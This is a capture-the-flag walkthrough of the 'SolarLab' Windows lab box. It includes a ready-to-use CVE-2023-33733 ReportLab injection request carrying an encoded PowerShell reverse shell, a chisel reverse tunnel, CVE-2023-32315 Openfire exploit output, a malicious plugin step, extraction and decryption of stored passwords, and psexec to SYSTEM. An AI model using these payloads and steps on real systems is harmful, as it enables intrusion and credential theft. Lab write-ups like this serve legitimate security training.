Machine Card listing SolarLab as a medium Windows box

Reconnaissance

80/tcp   open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-08-24T18:15:59
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Besides the two HTTP ports 80 and 6791, each of them exposing a domain name - report.solarlab.htb and solarlab.htb, there’s also SMB. I’ll add those domains to my /etc/hosts file.

HTTP (80)

Webpage for the Solarlab IM showing a countdown from 365 days until launch

The webpage on port 80 just shows a countdown until the release of SolarLab IM. Scrolling down reveals three members of the staff:

  • Alexander Knight, CEO
  • Claudia Springer, Designer
  • Blake Byte, Developer

It’s also possible to subscribe to updates and send a message with a contact form but that seems not functional.

HTTP (6791)

Page showing a login prompt to ReportHub

On port 6791 there is ReportHub with just a login prompt. The application indicates whether a user exists based on the error message. I try a few combinations with the names from the staff members and the naming scheme seems to be firstname and first letter of lastname, so blakeb for Blake Byte.

Login indicating success by showing 'User authentication error

Login indicating failure by showing 'User not found

SMB

Even though I’ve identified three valid usernames, I’m still missing a password to authenticate to SMB. Trying guest with an empty password works though and I can list the available shares. Looking through Documents there are multiple Word files and an Excel spreadsheet called details-file.xlsx. I transfer them all to my machine to have closer look.

impacket-smbclient guest@solarlab.htb
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
 
Password:
Type help for list of commands
# shares
ADMIN$
C$
Documents
IPC$
# use Documents
# ls
drw-rw-rw-          0  Fri Apr 26 16:47:14 2024 .
drw-rw-rw-          0  Fri Apr 26 16:47:14 2024 ..
drw-rw-rw-          0  Fri Apr 26 16:41:57 2024 concepts
-rw-rw-rw-        278  Fri Nov 17 13:34:54 2023 desktop.ini
-rw-rw-rw-      12793  Fri Nov 17 13:34:54 2023 details-file.xlsx
drw-rw-rw-          0  Thu Nov 16 20:36:51 2023 My Music
drw-rw-rw-          0  Thu Nov 16 20:36:51 2023 My Pictures
drw-rw-rw-          0  Thu Nov 16 20:36:51 2023 My Videos
-rw-rw-rw-      37194  Fri Apr 26 16:44:18 2024 old_leave_request_form.docx
# get details-file.xlsx

The details-file.xlsx contains personal information including emails, passwords and security questions of the previously identified staff members.

Excel spreadsheet with various credentials for all staff members

Initial Access

Going through the potential passwords, the login on ReportHub works with blakeb and the password ThisCanB3typedeasily1@. On the dashboard I can request a leave, a training, working from home or to travel.

Dashboard showing 4 buttons to request a leave, a training, working from home and to travel

Creating a Travel Approval with dummy data let’s me generate a PDF document. After downloading it and checking out the metadata I can see that it was created by reportlab.com. There’s the vulnerability CVE-2023-33733, used to gain code execution, with a PoC available on Github.

Execution

First I modify the PoC code to contain a base64 encoded reverse shell for powershell. Then I include this as travel_request in my request within BurpSuite due to the fact that the user_input (the justification) has a server-side size limitation.
After sending the request it does grant me a shell as blake and access to the first flag.

POST /travelApprovalForm HTTP/1.1
Host: report.solarlab.htb:6791
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------427543924628485714141569196929
Content-Length: 2444
Origin: http://report.solarlab.htb:6791
Connection: keep-alive
Referer: http://report.solarlab.htb:6791/travelApprovalForm
Cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.ZssJ9g.lAnag3J30K7X7_a4boLQMMuLecg
Upgrade-Insecure-Requests: 1

-----------------------------427543924628485714141569196929
Content-Disposition: form-data; name="time_interval"

2024-08-01 to 2024-08-01
-----------------------------427543924628485714141569196929
Content-Disposition: form-data; name="travel_request"

<p><para><font color="[[getattr(pow,Word('__globals__'))['os'].system('powershell -e powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQAwAC4AMQAwACIALAA4ADgAOAA4ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==') for Word in [orgTypeFun('Word',(str,),{'mutated':1,'startswith':lambda self,x:False,'__eq__':lambda self,x:self.mutate() and self.mutated<0 and str(self)==x,'mutate':lambda self:{setattr(self,'mutated',self.mutated-1)},'__hash__':lambda self:hash(str(self))})]] for orgTypeFun in [type(type(1))]] and 'red'"></font></para></p>
-----------------------------427543924628485714141569196929
Content-Disposition: form-data; name="signature"; filename="white_square.png"
Content-Type: image/png

<image removed>

-----------------------------427543924628485714141569196929
Content-Disposition: form-data; name="user_input"

x
-----------------------------427543924628485714141569196929--

Privilege Escalation

Shell as openfire

Enumerating the host, I quickly find the open port 9090 and the title tag says Openfire, an instant messaging and groupchat server for XMPP, with the footer showing the version 4.7.4.

(Invoke-WebRequest -Uri http://127.0.0.1:9090/index.jsp).RawContent
 
--- SNIP ---
 <div class="text" id="jive-loginVersion"> Openfire, Version: 4.7.4</div>
--- SNIP ---

By uploading chisel to the target, running it as client to connect back to me and open a SOCKS proxy, I can access the Web UI from my host.

# Local
.\chisel server --port 1337 --reverse --socks5 -v
 
# Remote
.\chisel.exe client 10.10.10.10:1337 R:socks

Accessing the application through the SOCKS proxy shows the login prompt, but unfortunately none of the passwords seem to work. Luckily there is CVE-2023-32315, a path traversal attack that uses parts of the setup routine to access restricted pages. It can be used to create a new admin user as seen in this PoC that also comes with a malicious plugin to achieve remote code execution.

Screenshot showing the Openfire login prompt

After cloning the repository, adding a new virtual environment and installing the dependencies, I can run the exploit through proxychains and it will return a new admin user.

proxychains -q python3 CVE-2023-32315.py -t http://127.0.0.1:9090
 
 
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██████╗      ██████╗ ██████╗ ██████╗  ██╗███████╗
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗╚════██╗     ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝  ╚═══██╗╚════╝╚═══██╗██╔═══╝  ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗██████╔╝     ██████╔╝███████╗██████╔╝ ██║███████║
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝╚═════╝      ╚═════╝ ╚══════╝╚═════╝  ╚═╝╚══════╝
                                                                                                       
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!
 
[..] Checking target: http://127.0.0.1:9090
Successfully retrieved JSESSIONID: node01i57ydi9cjaq68yckk7lm8vzk4.node0 + csrf: 5EGxfZYWPS8ie7h
User added successfully: url: http://127.0.0.1:9090 username: 9ibrz4 password: 4om9k

The repo also contains the steps to achieve command execution by uploading the jar in Plugin Upload Plugin and then navigate to Server Server Settings Management Tool. Using the hardcoded password of 123 I can login and use it to run system commands. This way I get another reverse shell as openfire.

Shell as Administrator

The Openfire application keeps a database log in C:\Program Files\Openfire\embedded-db\openfire.script. It contains not only the encrypted password of the Administrator user (for the Openfire application) but also the blowfish CBC key1 that can be used to retrieve the password with this tool.

Get-Content 'C:\Program Files\Openfire\embedded-db\openfire.script'
--- SNIP ---
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
--- SNIP ---
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
--- SNIP ---

Cloning the repo and compiling the java code as instructed, I can run the tool while providing the encrypted password and key to retrieve the plaintext password ThisPasswordShouldDo!@. I already have administrative access to Openfire so I decide to check for password re-usage.

javac OpenFireDecryptPass.java
 
java OpenFireDecryptPass \
     'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442' \
     'hGXiFzsKaAeYLjn'
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)

Since the target has SMB open, I use PsExec from impacket to get a shell as NT Authority\System and collect the final flag.

impacket-psexec 'Administrator:ThisPasswordShouldDo!@'@solarlab.htb
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
 
[*] Requesting shares on solarlab.htb.....
[*] Found writable share ADMIN$
[*] Uploading file frIHyeZr.exe
[*] Opening SVCManager on solarlab.htb.....
[*] Creating service LHeI on solarlab.htb.....
[*] Starting service LHeI.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.
 
C:\Windows\system32> whoami
nt authority\system

Attack Path

flowchart TD

subgraph "Initial Access"
    A(Guest Access SMB) --> B(Spreadsheet with Credentials)
    B -->|Credential Stuffing| C(Access as blakeb on ReportHub)
end

subgraph "Execution"
    C -->|CVE-2023-33733| D(Shell as blake)
end

subgraph "Privilege Escalation"
    D -->|Enumeration & Port Fwd| E(Openfire Web UI)
    E -->|CVE-2023-32315| F(Admin Access to Openfire)
    F -->|Malicious Plugin| G(Shell as openfire)
    G -->|Decrypt Admin Password| H(Cleartext Admin Password)
    H -->|Password Reuse| I(Shell as Administrator)
end

Footnotes

  1. openfire hash